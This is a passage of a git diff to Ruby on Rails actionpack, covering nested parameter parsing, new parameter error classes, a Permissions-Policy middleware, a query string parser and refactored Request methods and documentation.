+            k = name
+            after = ""
+          end
+        elsif name.start_with?("[]")
+          # Array nesting
+          k = "[]"
+          after = name[2, name.length]
+        elsif name.start_with?("[") && (start = name.index("]", 1))
+          # Hash nesting, use the part inside brackets as the key
+          k = name[1, start - 1]
+          after = name[start + 1, name.length]
+        else
+          # Probably malformed input, nested but not starting with [
+          # treat full name as key for backwards compatibility.
+          k = name
+          after = ""
+        end
+
+        return if k.empty?
+
+        unless k.valid_encoding?
+          raise InvalidParameterError, "Invalid encoding for parameter: #{k}"
+        end
+
+        if depth == 0 && String === v
+          # We have to wait until we've found the top part of the name,
+          # because that's what the encoding template is configured with
+          if encoding_template && (designated_encoding = encoding_template[k]) && !v.frozen?
+            v.force_encoding(designated_encoding)
+          end
+
+          # ... and we can't validate the encoding until after we've
+          # applied any template override
+          unless v.valid_encoding?
+            raise InvalidParameterError, "Invalid encoding for parameter: #{v.scrub}"
+          end
+        end
+
+        if after == ""
+          if k == "[]" && depth != 0
+            return (v || !ActionDispatch::Request::Utils.perform_deep_munge) ? [v] : []
+          else
+            params[k] = v
+          end
+        elsif after == "["
+          params[name] = v
+        elsif after == "[]"
+          params[k] ||= []
+          raise ParameterTypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array)
+          params[k] << v if v || !ActionDispatch::Request::Utils.perform_deep_munge
+        elsif after.start_with?("[]")
+          # Recognize x[][y] (hash inside array) parameters
+          unless after[2] == "[" && after.end_with?("]") && (child_key = after[3, after.length - 4]) && !child_key.empty? && !child_key.index("[") && !child_key.index("]")
+            # Handle other nested array parameters
+            child_key = after[2, after.length]
+          end
+          params[k] ||= []
+          raise ParameterTypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array)
+          if params_hash_type?(params[k].last) && !params_hash_has_key?(params[k].last, child_key)
+            store_nested_param(params[k].last, child_key, v, depth + 1)
+          else
+            params[k] << store_nested_param(make_params, child_key, v, depth + 1)
+          end
+        else
+          params[k] ||= make_params
+          raise ParameterTypeError, "expected Hash (got #{params[k].class.name}) for param `#{k}'" unless params_hash_type?(params[k])
+          params[k] = store_nested_param(params[k], after, v, depth + 1)
+        end
+
+        params
+      end
+
+      def make_params
+        ActiveSupport::HashWithIndifferentAccess.new
+      end
+
+      def new_depth_limit(param_depth_limit)
+        self.class.new @params_class, param_depth_limit
+      end
+
+      def params_hash_type?(obj)
+        Hash === obj
+      end
+
+      def params_hash_has_key?(hash, key)
+        return false if key.include?("[]")
+
+        key.split(/[\[\]]+/).inject(hash) do |h, part|
+          next h if part == ""
+          return false unless params_hash_type?(h) && h.key?(part)
+          h[part]
+        end
+
+        true
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/param_error.rb b/actionpack/lib/action_dispatch/http/param_error.rb
new file mode 100644
index 0000000000000..4bf8a1af60e67
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/param_error.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActionDispatch
+  class ParamError < ActionDispatch::Http::Parameters::ParseError
+    def initialize(message = nil)
+      super
+    end
+
+    def self.===(other)
+      super || (
+        defined?(Rack::Utils::ParameterTypeError) && Rack::Utils::ParameterTypeError === other ||
+        defined?(Rack::Utils::InvalidParameterError) && Rack::Utils::InvalidParameterError === other ||
+        defined?(Rack::QueryParser::ParamsTooDeepError) && Rack::QueryParser::ParamsTooDeepError === other
+      )
+    end
+  end
+
+  class ParameterTypeError < ParamError
+  end
+
+  class InvalidParameterError < ParamError
+  end
+
+  class ParamsTooDeepError < ParamError
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/parameter_filter.rb b/actionpack/lib/action_dispatch/http/parameter_filter.rb
deleted file mode 100644
index 889f55a52a07e..0000000000000
--- a/actionpack/lib/action_dispatch/http/parameter_filter.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require "active_support/core_ext/object/duplicable"
-
-module ActionDispatch
-  module Http
-    class ParameterFilter
-      FILTERED = "[FILTERED]".freeze # :nodoc:
-
-      def initialize(filters = [])
-        @filters = filters
-      end
-
-      def filter(params)
-        compiled_filter.call(params)
-      end
-
-    private
-
-      def compiled_filter
-        @compiled_filter ||= CompiledFilter.compile(@filters)
-      end
-
-      class CompiledFilter # :nodoc:
-        def self.compile(filters)
-          return lambda { |params| params.dup } if filters.empty?
-
-          strings, regexps, blocks = [], [], []
-
-          filters.each do |item|
-            case item
-            when Proc
-              blocks << item
-            when Regexp
-              regexps << item
-            else
-              strings << Regexp.escape(item.to_s)
-            end
-          end
-
-          deep_regexps, regexps = regexps.partition { |r| r.to_s.include?("\\.".freeze) }
-          deep_strings, strings = strings.partition { |s| s.include?("\\.".freeze) }
-
-          regexps << Regexp.new(strings.join("|".freeze), true) unless strings.empty?
-          deep_regexps << Regexp.new(deep_strings.join("|".freeze), true) unless deep_strings.empty?
-
-          new regexps, deep_regexps, blocks
-        end
-
-        attr_reader :regexps, :deep_regexps, :blocks
-
-        def initialize(regexps, deep_regexps, blocks)
-          @regexps = regexps
-          @deep_regexps = deep_regexps.any? ? deep_regexps : nil
-          @blocks = blocks
-        end
-
-        def call(original_params, parents = [])
-          filtered_params = {}
-
-          original_params.each do |key, value|
-            parents.push(key) if deep_regexps
-            if regexps.any? { |r| key =~ r }
-              value = FILTERED
-            elsif deep_regexps && (joined = parents.join(".")) && deep_regexps.any? { |r| joined =~ r }
-              value = FILTERED
-            elsif value.is_a?(Hash)
-              value = call(value, parents)
-            elsif value.is_a?(Array)
-              value = value.map { |v| v.is_a?(Hash) ? call(v, parents) : v }
-            elsif blocks.any?
-              key = key.dup if key.duplicable?
-              value = value.dup if value.duplicable?
-              blocks.each { |b| b.call(key, value) }
-            end
-            parents.pop if deep_regexps
-
-            filtered_params[key] = value
-          end
-
-          filtered_params
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index 8f21eca440660..ce65885dfec1f 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Http
     module Parameters
@@ -12,11 +16,11 @@ module Parameters
         }
       }
 
-      # Raised when raw data from the request cannot be parsed by the parser
-      # defined for request's content mime type.
+      # Raised when raw data from the request cannot be parsed by the parser defined
+      # for request's content MIME type.
       class ParseError < StandardError
-        def initialize
-          super($!.message)
+        def initialize(message = $!.message)
+          super(message)
         end
       end
 
@@ -30,10 +34,10 @@ class << self
       end
 
       module ClassMethods
-        # Configure the parameter parser for a given mime type.
+        # Configure the parameter parser for a given MIME type.
         #
-        # It accepts a hash where the key is the symbol of the mime type
-        # and the value is a proc.
+        # It accepts a hash where the key is the symbol of the MIME type and the value
+        # is a proc.
         #
         #     original_parsers = ActionDispatch::Request.parameter_parsers
         #     xml_parser = -> (raw_post) { Hash.from_xml(raw_post) || {} }
@@ -44,7 +48,7 @@ def parameter_parsers=(parsers)
         end
       end
 
-      # Returns both GET and POST \parameters in a single hash.
+      # Returns both GET and POST parameters in a single hash.
       def parameters
         params = get_header("action_dispatch.request.parameters")
         return params if params
@@ -55,44 +59,33 @@ def parameters
                    query_parameters.dup
                  end
         params.merge!(path_parameters)
-        params = set_binary_encoding(params)
         set_header("action_dispatch.request.parameters", params)
         params
       end
       alias :params :parameters
 
-      def path_parameters=(parameters) #:nodoc:
-        delete_header("action_dispatch.request.parameters")
+      def path_parameters=(parameters) # :nodoc:
+        @env.delete("action_dispatch.request.parameters")
 
-        # If any of the path parameters has an invalid encoding then
-        # raise since it's likely to trigger errors further on.
+        parameters = Request::Utils.set_binary_encoding(self, parameters, parameters[:controller], parameters[:action])
+        # If any of the path parameters has an invalid encoding then raise since it's
+        # likely to trigger errors further on.
         Request::Utils.check_param_encoding(parameters)
 
-        set_header PARAMETERS_KEY, parameters
+        @env[PARAMETERS_KEY] = parameters
       rescue Rack::Utils::ParameterTypeError, Rack::Utils::InvalidParameterError => e
         raise ActionController::BadRequest.new("Invalid path parameters: #{e.message}")
       end
 
-      # Returns a hash with the \parameters used to form the \path of the request.
-      # Returned hash keys are strings:
+      # Returns a hash with the parameters used to form the path of the request.
+      # Returned hash keys are symbols:
       #
-      #   {'action' => 'my_action', 'controller' => 'my_controller'}
+      #     { action: "my_action", controller: "my_controller" }
       def path_parameters
-        get_header(PARAMETERS_KEY) || set_header(PARAMETERS_KEY, {})
+        @env[PARAMETERS_KEY] ||= {}
       end
 
       private
-
-        def set_binary_encoding(params)
-          action = params[:action]
-          if controller_class.binary_params_for?(action)
-            ActionDispatch::Request::Utils.each_param_value(params) do |param|
-              param.force_encoding ::Encoding::ASCII_8BIT
-            end
-          end
-          params
-        end
-
         def parse_formatted_parameters(parsers)
           return yield if content_length.zero? || content_mime_type.nil?
 
@@ -100,11 +93,21 @@ def parse_formatted_parameters(parsers)
 
           begin
             strategy.call(raw_post)
-          rescue # JSON or Ruby code block errors
-            my_logger = logger || ActiveSupport::Logger.new($stderr)
-            my_logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{raw_post}"
+          rescue # JSON or Ruby code block errors.
+            log_parse_error_once
+            raise ParseError, "Error occurred while parsing request parameters"
+          end
+        end
+
+        def log_parse_error_once
+          @parse_error_logged ||= begin
+            parse_logger = logger || ActiveSupport::Logger.new($stderr)
+            parse_logger.debug <<~MSG.chomp
+              Error occurred while parsing request parameters.
+              Contents:
 
-            raise ParseError
+              #{raw_post}
+            MSG
           end
         end
 
@@ -113,8 +116,4 @@ def params_parsers
         end
     end
   end
-
-  module ParamsParser
-    ParseError = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("ActionDispatch::ParamsParser::ParseError", "ActionDispatch::Http::Parameters::ParseError")
-  end
 end
diff --git a/actionpack/lib/action_dispatch/http/permissions_policy.rb b/actionpack/lib/action_dispatch/http/permissions_policy.rb
new file mode 100644
index 0000000000000..03a8738754f6e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/permissions_policy.rb
@@ -0,0 +1,193 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/deep_dup"
+
+module ActionDispatch # :nodoc:
+  # # Action Dispatch PermissionsPolicy
+  #
+  # Configures the HTTP
+  # [Feature-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy)
+  # response header to specify which browser features the current
+  # document and its iframes can use.
+  #
+  # Example global policy:
+  #
+  #     Rails.application.config.permissions_policy do |policy|
+  #       policy.camera      :none
+  #       policy.gyroscope   :none
+  #       policy.microphone  :none
+  #       policy.usb         :none
+  #       policy.fullscreen  :self
+  #       policy.payment     :self, "https://secure.example.com"
+  #     end
+  #
+  # The Feature-Policy header has been renamed to Permissions-Policy. The
+  # Permissions-Policy requires a different implementation and isn't yet supported
+  # by all browsers. To avoid having to rename this middleware in the future we
+  # use the new name for the middleware but keep the old header name and
+  # implementation for now.
+  class PermissionsPolicy
+    class Middleware
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        _, headers, _ = response = @app.call(env)
+
+        return response if policy_present?(headers)
+
+        request = ActionDispatch::Request.new(env)
+
+        if policy = request.permissions_policy
+          headers[ActionDispatch::Constants::FEATURE_POLICY] = policy.build(request.controller_instance)
+        end
+
+        if policy_empty?(policy)
+          headers.delete(ActionDispatch::Constants::FEATURE_POLICY)
+        end
+
+        response
+      end
+
+      private
+        def policy_present?(headers)
+          headers[ActionDispatch::Constants::FEATURE_POLICY]
+        end
+
+        def policy_empty?(policy)
+          policy&.directives&.empty?
+        end
+    end
+
+    module Request
+      POLICY = "action_dispatch.permissions_policy"
+
+      def permissions_policy
+        get_header(POLICY)
+      end
+
+      def permissions_policy=(policy)
+        set_header(POLICY, policy)
+      end
+    end
+
+    MAPPINGS = {
+      self: "'self'",
+      none: "'none'",
+    }.freeze
+
+    # List of available permissions can be found at
+    # https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md#policy-controlled-features
+    DIRECTIVES = {
+      accelerometer:        "accelerometer",
+      ambient_light_sensor: "ambient-light-sensor",
+      autoplay:             "autoplay",
+      camera:               "camera",
+      display_capture:      "display-capture",
+      encrypted_media:      "encrypted-media",
+      fullscreen:           "fullscreen",
+      geolocation:          "geolocation",
+      gyroscope:            "gyroscope",
+      hid:                  "hid",
+      idle_detection:       "idle-detection",
+      keyboard_map:         "keyboard-map",
+      magnetometer:         "magnetometer",
+      microphone:           "microphone",
+      midi:                 "midi",
+      payment:              "payment",
+      picture_in_picture:   "picture-in-picture",
+      screen_wake_lock:     "screen-wake-lock",
+      serial:               "serial",
+      sync_xhr:             "sync-xhr",
+      usb:                  "usb",
+      web_share:            "web-share",
+    }.freeze
+
+    private_constant :MAPPINGS, :DIRECTIVES
+
+    attr_reader :directives
+
+    def initialize
+      @directives = {}
+      yield self if block_given?
+    end
+
+    def initialize_copy(other)
+      @directives = other.directives.deep_dup
+    end
+
+    DIRECTIVES.each do |name, directive|
+      define_method(name) do |*sources|
+        if sources.first
+          @directives[directive] = apply_mappings(sources)
+        else
+          @directives.delete(directive)
+        end
+      end
+    end
+
+    def build(context = nil)
+      build_directives(context).compact.join("; ")
+    end
+
+    private
+      def apply_mappings(sources)
+        sources.map do |source|
+          case source
+          when Symbol
+            apply_mapping(source)
+          when String, Proc
+            source
+          else
+            raise ArgumentError, "Invalid HTTP permissions policy source: #{source.inspect}"
+          end
+        end
+      end
+
+      def apply_mapping(source)
+        MAPPINGS.fetch(source) do
+          raise ArgumentError, "Unknown HTTP permissions policy source mapping: #{source.inspect}"
+        end
+      end
+
+      def build_directives(context)
+        @directives.map do |directive, sources|
+          if sources.is_a?(Array)
+            "#{directive} #{build_directive(sources, context).join(' ')}"
+          elsif sources
+            directive
+          else
+            nil
+          end
+        end
+      end
+
+      def build_directive(sources, context)
+        sources.map { |source| resolve_source(source, context) }
+      end
+
+      def resolve_source(source, context)
+        case source
+        when String
+          source
+        when Symbol
+          source.to_s
+        when Proc
+          if context.nil?
+            raise RuntimeError, "Missing context for the dynamic permissions policy source: #{source.inspect}"
+          else
+            context.instance_exec(&source)
+          end
+        else
+          raise RuntimeError, "Unexpected permissions policy source: #{source.inspect}"
+        end
+      end
+  end
+
+  ActiveSupport.on_load(:action_dispatch_request) do
+    include ActionDispatch::PermissionsPolicy::Request
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/query_parser.rb b/actionpack/lib/action_dispatch/http/query_parser.rb
new file mode 100644
index 0000000000000..6afdb64434fc0
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/query_parser.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "uri"
+require "rack"
+
+module ActionDispatch
+  class QueryParser
+    DEFAULT_SEP = /& */n
+    COMMON_SEP = { ";" => /; */n, ";," => /[;,] */n, "&" => /& */n, "&;" => /[&;] */n }
+
+    def self.strict_query_string_separator
+      ActionDispatch.deprecator.warn <<~MSG
+        The `strict_query_string_separator` configuration is deprecated have no effect and will be removed in Rails 8.2.
+      MSG
+      @strict_query_string_separator
+    end
+
+    def self.strict_query_string_separator=(value)
+      ActionDispatch.deprecator.warn <<~MSG
+        The `strict_query_string_separator` configuration is deprecated have no effect and will be removed in Rails 8.2.
+      MSG
+      @strict_query_string_separator = value
+    end
+
+    #--
+    # Note this departs from WHATWG's specified parsing algorithm by
+    # giving a nil value for keys that do not use '='. Callers that need
+    # the standard's interpretation can use `v.to_s`.
+    def self.each_pair(s, separator = nil)
+      return enum_for(:each_pair, s, separator) unless block_given?
+
+      s ||= ""
+
+      splitter =
+        if separator
+          COMMON_SEP[separator] || /[#{separator}] */n
+        else
+          DEFAULT_SEP
+        end
+
+      s.split(splitter).each do |part|
+        next if part.empty?
+
+        k, v = part.split("=", 2)
+
+        k = URI.decode_www_form_component(k)
+        v &&= URI.decode_www_form_component(v)
+
+        yield k, v
+      end
+
+      nil
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/rack_cache.rb b/actionpack/lib/action_dispatch/http/rack_cache.rb
index 003ae4029d9ac..1429e74b7cf69 100644
--- a/actionpack/lib/action_dispatch/http/rack_cache.rb
+++ b/actionpack/lib/action_dispatch/http/rack_cache.rb
@@ -1,3 +1,9 @@
+# frozen_string_literal: true
+
+# :enddoc:
+
+# :markup: markdown
+
 require "rack/cache"
 require "rack/cache/context"
 require "active_support/cache"
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 19fa42ce12aba..9c019f0852d79 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "stringio"
 
 require "active_support/inflector"
@@ -20,6 +24,7 @@ class Request
     include ActionDispatch::Http::Parameters
     include ActionDispatch::Http::FilterParameters
     include ActionDispatch::Http::URL
+    include ActionDispatch::ContentSecurityPolicy::Request
     include Rack::Request::Env
 
     autoload :Session, "action_dispatch/request/session"
@@ -38,23 +43,28 @@ class Request
         HTTP_NEGOTIATE HTTP_PRAGMA HTTP_CLIENT_IP
         HTTP_X_FORWARDED_FOR HTTP_ORIGIN HTTP_VERSION
         HTTP_X_CSRF_TOKEN HTTP_X_REQUEST_ID HTTP_X_FORWARDED_HOST
-        SERVER_ADDR
         ].freeze
 
     ENV_METHODS.each do |env|
       class_eval <<-METHOD, __FILE__, __LINE__ + 1
-        def #{env.sub(/^HTTP_/n, '').downcase}  # def accept_charset
-          get_header "#{env}".freeze            #   get_header "HTTP_ACCEPT_CHARSET".freeze
-        end                                     # end
+        # frozen_string_literal: true
+        def #{env.delete_prefix("HTTP_").downcase}  # def accept_charset
+          get_header "#{env}"                       #   get_header "HTTP_ACCEPT_CHARSET"
+        end                                         # end
       METHOD
     end
 
+    TRANSFER_ENCODING = "HTTP_TRANSFER_ENCODING" # :nodoc:
+
     def self.empty
       new({})
     end
 
     def initialize(env)
       super
+
+      @rack_request = Rack::Request.new(env)
+
       @method            = nil
       @request_method    = nil
       @remote_ip         = nil
@@ -63,23 +73,36 @@ def initialize(env)
       @ip                = nil
     end
 
+    attr_reader :rack_request
+
     def commit_cookie_jar! # :nodoc:
     end
 
     PASS_NOT_FOUND = Class.new { # :nodoc:
       def self.action(_); self; end
-      def self.call(_); [404, { "X-Cascade" => "pass" }, []]; end
-      def self.binary_params_for?(action); false; end
+      def self.call(_); [404, { Constants::X_CASCADE => "pass" }, []]; end
+      def self.action_encoding_template(action); false; end
     }
 
     def controller_class
       params = path_parameters
-
-      if params.key?(:controller)
-        controller_param = params[:controller].underscore
-        params[:action] ||= "index"
-        const_name = "#{controller_param.camelize}Controller"
-        ActiveSupport::Dependencies.constantize(const_name)
+      params[:action] ||= "index"
+      controller_class_for(params[:controller])
+    end
+
+    def controller_class_for(name)
+      if name
+        controller_param = name.underscore
+        const_name = controller_param.camelize << "Controller"
+        begin
+          const_name.constantize
+        rescue NameError => error
+          if error.missing_name == const_name || const_name.start_with?("#{error.missing_name}::")
+            raise MissingController.new(error.message, error.name)
+          else
+            raise
+          end
+        end
       else
         PASS_NOT_FOUND
       end
@@ -87,54 +110,72 @@ def controller_class
 
     # Returns true if the request has a header matching the given key parameter.
     #
-    #    request.key? :ip_spoofing_check # => true
+    #     request.key? :ip_spoofing_check # => true
     def key?(key)
       has_header? key
     end
 
-    # List of HTTP request methods from the following RFCs:
-    # Hypertext Transfer Protocol -- HTTP/1.1 (http://www.ietf.org/rfc/rfc2616.txt)
-    # HTTP Extensions for Distributed Authoring -- WEBDAV (http://www.ietf.org/rfc/rfc2518.txt)
-    # Versioning Extensions to WebDAV (http://www.ietf.org/rfc/rfc3253.txt)
-    # Ordered Collections Protocol (WebDAV) (http://www.ietf.org/rfc/rfc3648.txt)
-    # Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol (http://www.ietf.org/rfc/rfc3744.txt)
-    # Web Distributed Authoring and Versioning (WebDAV) SEARCH (http://www.ietf.org/rfc/rfc5323.txt)
-    # Calendar Extensions to WebDAV (http://www.ietf.org/rfc/rfc4791.txt)
-    # PATCH Method for HTTP (http://www.ietf.org/rfc/rfc5789.txt)
+    # HTTP methods from [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt)
     RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
+    # HTTP methods from [RFC 2518: HTTP Extensions for Distributed Authoring -- WEBDAV](https://www.ietf.org/rfc/rfc2518.txt)
     RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
+    # HTTP methods from [RFC 3253: Versioning Extensions to WebDAV](https://www.ietf.org/rfc/rfc3253.txt)
     RFC3253 = %w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
+    # HTTP methods from [RFC 3648: WebDAV Ordered Collections Protocol](https://www.ietf.org/rfc/rfc3648.txt)
     RFC3648 = %w(ORDERPATCH)
+    # HTTP methods from [RFC 3744: WebDAV Access Control Protocol](https://www.ietf.org/rfc/rfc3744.txt)
     RFC3744 = %w(ACL)
+    # HTTP methods from [RFC 5323: WebDAV SEARCH](https://www.ietf.org/rfc/rfc5323.txt)
     RFC5323 = %w(SEARCH)
+    # HTTP methods from [RFC 4791: Calendaring Extensions to WebDAV](https://www.ietf.org/rfc/rfc4791.txt)
     RFC4791 = %w(MKCALENDAR)
+    # HTTP methods from [RFC 5789: PATCH Method for HTTP](https://www.ietf.org/rfc/rfc5789.txt)
     RFC5789 = %w(PATCH)
 
     HTTP_METHODS = RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789
 
     HTTP_METHOD_LOOKUP = {}
 
-    # Populate the HTTP method lookup cache
+    # Populate the HTTP method lookup cache.
     HTTP_METHODS.each { |method|
-      HTTP_METHOD_LOOKUP[method] = method.underscore.to_sym
+      HTTP_METHOD_LOOKUP[method] = method.downcase.tap { |m| m.tr!("-", "_") }.to_sym
     }
 
-    # Returns the HTTP \method that the application should see.
-    # In the case where the \method was overridden by a middleware
-    # (for instance, if a HEAD request was converted to a GET,
-    # or if a _method parameter was used to determine the \method
-    # the application should use), this \method returns the overridden
-    # value, not the original.
+    alias raw_request_method request_method # :nodoc:
+
+    # Returns the HTTP method that the application should see. In the case where the
+    # method was overridden by a middleware (for instance, if a HEAD request was
+    # converted to a GET, or if a _method parameter was used to determine the method
+    # the application should use), this method returns the overridden value, not the
+    # original.
     def request_method
       @request_method ||= check_method(super)
     end
 
+    # Returns the URI pattern of the matched route for the request, using the same
+    # format as `bin/rails routes`:
+    #
+    #     request.route_uri_pattern # => "/:controller(/:action(/:id))(.:format)"
+    def route_uri_pattern
+      unless pattern = get_header("action_dispatch.route_uri_pattern")
+        route = get_header("action_dispatch.route")
+        return if route.nil?
+        pattern = route.path.spec.to_s
+        set_header("action_dispatch.route_uri_pattern", pattern)
+      end
+      pattern
+    end
+
+    def route=(route) # :nodoc:
+      @env["action_dispatch.route"] = route
+    end
+
     def routes # :nodoc:
-      get_header("action_dispatch.routes".freeze)
+      get_header("action_dispatch.routes")
     end
 
     def routes=(routes) # :nodoc:
-      set_header("action_dispatch.routes".freeze, routes)
+      set_header("action_dispatch.routes", routes)
     end
 
     def engine_script_name(_routes) # :nodoc:
@@ -145,129 +186,153 @@ def engine_script_name=(name) # :nodoc:
       set_header(routes.env_key, name.dup)
     end
 
-    def request_method=(request_method) #:nodoc:
+    def request_method=(request_method) # :nodoc:
       if check_method(request_method)
         @request_method = set_header("REQUEST_METHOD", request_method)
       end
     end
 
     def controller_instance # :nodoc:
-      get_header("action_controller.instance".freeze)
+      get_header("action_controller.instance")
     end
 
     def controller_instance=(controller) # :nodoc:
-      set_header("action_controller.instance".freeze, controller)
+      set_header("action_controller.instance", controller)
     end
 
     def http_auth_salt
       get_header "action_dispatch.http_auth_salt"
     end
 
-    def show_exceptions? # :nodoc:
-      # We're treating `nil` as "unset", and we want the default setting to be
-      # `true`.  This logic should be extracted to `env_config` and calculated
-      # once.
-      !(get_header("action_dispatch.show_exceptions".freeze) == false)
-    end
-
-    # Returns a symbol form of the #request_method
+    # Returns a symbol form of the #request_method.
     def request_method_symbol
       HTTP_METHOD_LOOKUP[request_method]
     end
 
-    # Returns the original value of the environment's REQUEST_METHOD,
-    # even if it was overridden by middleware. See #request_method for
-    # more information.
-    def method
-      @method ||= check_method(get_header("rack.methodoverride.original_method") || get_header("REQUEST_METHOD"))
+    # Returns the original value of the environment's REQUEST_METHOD, even if it was
+    # overridden by middleware. See #request_method for more information.
+    #
+    # For debugging purposes, when called with arguments this method will fall back
+    # to Object#method
+    def method(*args)
+      if args.empty?
+        @method ||= check_method(
+          get_header("rack.methodoverride.original_method") ||
+          get_header("REQUEST_METHOD")
+        )
+      else
+        super
+      end
     end
+    ruby2_keywords(:method)
 
-    # Returns a symbol form of the #method
+    # Returns a symbol form of the #method.
     def method_symbol
       HTTP_METHOD_LOOKUP[method]
     end
 
     # Provides access to the request's HTTP headers, for example:
     #
-    #   request.headers["Content-Type"] # => "text/plain"
+    #     request.headers["Content-Type"] # => "text/plain"
     def headers
       @headers ||= Http::Headers.new(self)
     end
 
-    # Returns a +String+ with the last requested path including their params.
+    # Early Hints is an HTTP/2 status code that indicates hints to help a client
+    # start making preparations for processing the final response.
+    #
+    # If the env contains `rack.early_hints` then the server accepts HTTP2 push for
+    # link headers.
+    #
+    # The `send_early_hints` method accepts a hash of links as follows:
+    #
+    #     send_early_hints("link" => "</style.css>; rel=preload; as=style,</script.js>; rel=preload")
+    #
+    # If you are using {javascript_include_tag}[rdoc-ref:ActionView::Helpers::AssetTagHelper#javascript_include_tag]
+    # or {stylesheet_link_tag}[rdoc-ref:ActionView::Helpers::AssetTagHelper#stylesheet_link_tag]
+    # the Early Hints headers are included by default if supported.
+    def send_early_hints(links)
+      env["rack.early_hints"]&.call(links)
+    end
+
+    # Returns a `String` with the last requested path including their params.
     #
-    #    # get '/foo'
-    #    request.original_fullpath # => '/foo'
+    #     # get '/foo'
+    #     request.original_fullpath # => '/foo'
     #
-    #    # get '/foo?bar'
-    #    request.original_fullpath # => '/foo?bar'
+    #     # get '/foo?bar'
+    #     request.original_fullpath # => '/foo?bar'
     def original_fullpath
       @original_fullpath ||= (get_header("ORIGINAL_FULLPATH") || fullpath)
     end
 
-    # Returns the +String+ full path including params of the last URL requested.
+    # Returns the `String` full path including params of the last URL requested.
     #
-    #    # get "/articles"
-    #    request.fullpath # => "/articles"
+    #     # get "/articles"
+    #     request.fullpath # => "/articles"
     #
-    #    # get "/articles?page=2"
-    #    request.fullpath # => "/articles?page=2"
+    #     # get "/articles?page=2"
+    #     request.fullpath # => "/articles?page=2"
     def fullpath
       @fullpath ||= super
     end
 
-    # Returns the original request URL as a +String+.
+    # Returns the original request URL as a `String`.
     #
-    #    # get "/articles?page=2"
-    #    request.original_url # => "http://www.example.com/articles?page=2"
+    #     # get "/articles?page=2"
+    #     request.original_url # => "http://www.example.com/articles?page=2"
     def original_url
       base_url + original_fullpath
     end
 
-    # The +String+ MIME type of the request.
+    # The `String` MIME type of the request.
     #
-    #    # get "/articles"
-    #    request.media_type # => "application/x-www-form-urlencoded"
+    #     # get "/articles"
+    #     request.media_type # => "application/x-www-form-urlencoded"
     def media_type
-      content_mime_type.to_s
+      content_mime_type&.to_s
     end
 
     # Returns the content length of the request as an integer.
     def content_length
+      return raw_post.bytesize if has_header?(TRANSFER_ENCODING)
       super.to_i
     end
 
-    # Returns true if the "X-Requested-With" header contains "XMLHttpRequest"
+    # Returns true if the `X-Requested-With` header contains "XMLHttpRequest"
     # (case-insensitive), which may need to be manually added depending on the
     # choice of JavaScript libraries and frameworks.
     def xml_http_request?
-      get_header("HTTP_X_REQUESTED_WITH") =~ /XMLHttpRequest/i
+      /XMLHttpRequest/i.match?(get_header("HTTP_X_REQUESTED_WITH"))
     end
     alias :xhr? :xml_http_request?
 
-    # Returns the IP address of client as a +String+.
+    # Returns the IP address of client as a `String`.
     def ip
       @ip ||= super
     end
 
-    # Returns the IP address of client as a +String+,
-    # usually set by the RemoteIp middleware.
+    # Returns the IP address of client as a `String`, usually set by the RemoteIp
+    # middleware.
     def remote_ip
       @remote_ip ||= (get_header("action_dispatch.remote_ip") || ip).to_s
     end
 
     def remote_ip=(remote_ip)
-      set_header "action_dispatch.remote_ip".freeze, remote_ip
+      @remote_ip = nil
+      set_header "action_dispatch.remote_ip", remote_ip
     end
 
-    ACTION_DISPATCH_REQUEST_ID = "action_dispatch.request_id".freeze # :nodoc:
+    ACTION_DISPATCH_REQUEST_ID = "action_dispatch.request_id" # :nodoc:
 
-    # Returns the unique request id, which is based on either the X-Request-Id header that can
-    # be generated by a firewall, load balancer, or web server or by the RequestId middleware
-    # (which sets the action_dispatch.request_id environment variable).
+    # Returns the unique request id, which is based on either the `X-Request-Id`
+    # header that can be generated by a firewall, load balancer, or web server, or
+    # by the RequestId middleware (which sets the `action_dispatch.request_id`
+    # environment variable).
     #
-    # This unique ID is useful for tracing a request from end-to-end as part of logging or debugging.
-    # This relies on the rack variable set by the ActionDispatch::RequestId middleware.
+    # This unique ID is useful for tracing a request from end-to-end as part of
+    # logging or debugging. This relies on the Rack variable set by the
+    # ActionDispatch::RequestId middleware.
     def request_id
       get_header ACTION_DISPATCH_REQUEST_ID
     end
@@ -283,13 +348,11 @@ def server_software
